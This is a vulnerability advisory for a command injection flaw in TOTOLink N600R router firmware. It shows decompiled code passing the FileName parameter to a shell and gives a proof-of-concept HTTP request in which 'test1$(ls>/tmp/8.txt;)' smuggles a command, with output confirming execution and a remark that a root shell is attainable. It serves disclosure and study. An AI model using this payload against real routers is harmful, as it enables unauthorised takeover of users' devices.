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TOTOLink N600R V5.3c.7159_B20190425 Command injection vulnerability

Overview

- Manufacturer's website information: <http://www.totolink.cn>
- Firmware download address : http://www.totolink.cn/home/menu/detail.html?menu_listtpl=download&id=2&ids=36

1. Affected version

编号	标题	版本	上传时间	下载
1	N600R升级过渡版本	V5.3c.7159_B20190425	2021-07-17	
2	N600R升级固件	V4.3.0cu.7647_B20210106	2021-07-17	
3	N600R数据手册	Ver1.0	2021-08-10	

Figure 1 shows the latest firmware Ba of the router

Vulnerability details

```
61 v6 = cJSON_CreateObject();
62 v7 = (const char *)websGetVar(a2, "Flags", "");
63 v8 = (const char *)websGetVar(a2, "FileName", "");
64 v9 = (const char *)websGetVar(a2, "ContentLength", "");
65 v10 = strtol(v9, 0, 10) + 1;
66 if ( v10 >= 1000 )
67 {
68     if ( v10 >= getFlashSize() << 20 )
69     {
70         v12 = cJSON_CreateString("MM_FwFileErr");
71         cJSON_AddItemToObject(v6, "upgradeERR", v12);
72     }
73 }
```

The program passes the contents obtained by the filename parameter to V8

```
179 free(v30);
180 cJSON_Delete(v6);
181 sprintf(v31, "rm -f %s 1>/dev/null 2>&1", v8);
182 CsteSystem(v31, 0);
183 return 0;
184 }
```

Then, format the matching content of V8 through the sprintf function into V31, and bring V31 into the cstesystem function

```

1 int __fastcall CsteSystem(const char *a1, int a2)
2 {
3     int result; // $v0
4     int v5; // $s0
5     int v6; // $a0
6     _DWORD *v7; // $v0
7     int v8; // [sp+18h] [-1Ch] BYREF
8     int v9[6]; // [sp+1Ch] [-18h] BYREF
9
10    v8 = 0;
11    if ( a1 )
12    {
13        v5 = fork();
14        result = -1;
15        if ( v5 != -1 )
16        {
17            if ( !v5 )
18            {
19                v9[0] = (int)"sh";
20                v9[1] = (int)"-c";
21                v9[2] = (int)a1;
22                v9[3] = 0;
23                if ( a2 )
24                    printf("[system]: %s\r\n", a1);
25                execv("/bin/sh", v9);
26                exit(127);

```

At this time, corresponding to the parameter A1, the function assigns A1 to the array of V9, and finally executes the command through the execv function. There is a command injection vulnerability

Recurring vulnerabilities and POC

In order to reproduce the vulnerability, the following steps can be followed:

1. Use the fat simulation firmware V5.3c.7159_B20190425
2. Attack with the following POC attacks

```
POST /cgi-bin/cstecgi.cgi HTTP/1.1
```

```
Host: 192.168.0.1
```

```
Content-Length: 111
```

```
Accept: */*
```


```
X-Requested-With: XMLHttpRequest
```

```
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
```

```
like Gecko) Chrome/87.0.4280.66 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.0.1
Referer: http://192.168.0.1/adm/upload_firmware.asp?timestamp=1647873626298
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: SESSION_ID=2:1647873424:2
Connection: close
```

```
{"topicurl":"setting/setUpgradeFW",
"FileName":"test1$(ls>/tmp/8.txt;)",
"ContentLength":"1",
"Flags":"1"
}
```

The reproduction results are as follows:



```
# ls /tmp
1.txt      bridge_init  2022年3月14号  ep3.txt      preNtpConnectTime
2.txt      cloudFwStatus  ep4.txt      protect_process
4.txt      cloudPluginStatus  firewall_igd  update_flag
5.txt      cloudsrvup_check  fwinfo       usb
6.txt      dhcpd_unix       lock         wanlink
7.txt      dns_urlfilter_conf  log          wanranchocontime
8.txt      ep.txt          ntp_tmp      webWlanIdx
DloadFwMd5 ep2.txt        port_status  wscd_status
# cat /tmp/8.txt
bin
dev
etc
home
init
lib
lighttpd
mnt
proc
sys
tmp
usr
var
web_cste
```

Figure 2 POC attack effect

Finally, you can write exp, which can achieve a very stable effect of obtaining the root shell